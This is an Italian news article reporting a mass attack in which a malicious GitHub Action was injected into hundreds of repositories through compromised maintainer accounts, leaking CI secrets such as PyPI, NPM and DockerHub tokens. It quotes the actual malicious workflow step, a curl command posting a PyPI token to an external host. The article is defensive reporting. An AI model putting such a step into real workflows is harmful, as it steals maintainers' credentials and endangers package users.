I ricercatori di GitGuardian hanno identificato un attacco di massa agli utenti di GitHub, durante il quale ha ottenuto il controllo su 327 account e ha inserito un elaboratore dannoso di Github Action in 817 repository. L'attacco ha portato alla fuga di 3325 segreti utilizzati nei sistemi di integrazione continua e trasmessi tramite variabili d'ambiente, inclusi i token di accesso a PyPI, GitHub, NPM, DockerHub e vari archivi cloud.

GitHub Actions offre agli sviluppatori la possibilità di collegare elaboratori per automatizzare varie operazioni su GitHub. Ad esempio, con GitHub Actions è possibile eseguire controlli e test specifici durante i commit o automatizzare la gestione di nuove Issues. L'elaboratore dannoso si diffondeva con il nome "Github Actions Security" e conteneva nella sezione "run" un comando "curl" che inviava il contenuto delle variabili d'ambiente a un host esterno durante l'esecuzione di task nell'ambiente di integrazione continua. Il commit dannoso veniva aggiunto da account di maintainer di progetti che, probabilmente, erano stati precedentemente compromessi o erano caduti vittime di phishing.
L'attacco è stato identificato dopo l'analisi di un'attività anomala legata al pacchetto FastUUID, che fornisce un'interfaccia Python per la libreria Rust UUID. Il pacchetto FastUUID, che nell'ultima settimana ha registrato quasi 1,2 milioni di download, è utilizzato come dipendenza nel popolare progetto LiteLLM, che conta oltre 5 milioni di download a settimana su PyPI. L'analisi delle modifiche nel repository FastUUID ha mostrato che il 2 settembre il maintainer del progetto ha aggiunto un commit con un nuovo elaboratore di Github Action, contenente codice per inviare un token al repository PyPI a un host esterno. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page
Il problema è stato identificato prima che i malintenzionati potessero sfruttare il token intercettato: non sono state registrate pubblicazioni di modifiche dannose o versioni modificate del pacchetto in PyPI per FastUUID. Sostituzioni simili in Github Action sono state scoperte in 816 repository, ai cui proprietari, così come all'amministrazione di PyPI, GitHub, NPM e DockerHub, sono stati inviati avvisi. Alla fine di ieri sera, gli impegni dannosi sono stati annullati in circa 100 repository. Attualmente, cercando in GitHub, vengono identificati 671 impegni con Github Action dannoso.
Fonte: opennet.ru
